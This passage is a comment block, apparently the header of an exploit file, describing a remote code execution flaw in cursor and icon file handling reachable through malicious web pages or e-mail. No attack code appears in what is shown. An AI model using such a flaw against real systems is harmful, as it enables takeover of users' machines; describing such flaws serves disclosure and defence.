* (universal -- for all affected systems)
* ---------------------------------------------------------------------
* Description:
* A remote code execution vulnerability exists in the way that
* cursor, animated cursor, and icon formats are handled. An attacker
* could try to exploit the vulnerability by constructing a malicious
* cursor or icon file that could potentially allow remote code
* execution if a user visited a malicious Web site or viewed a
* malicious e-mail message. An attacker who successfully exploited
* this vulnerability could take complete control of an affected
* system.
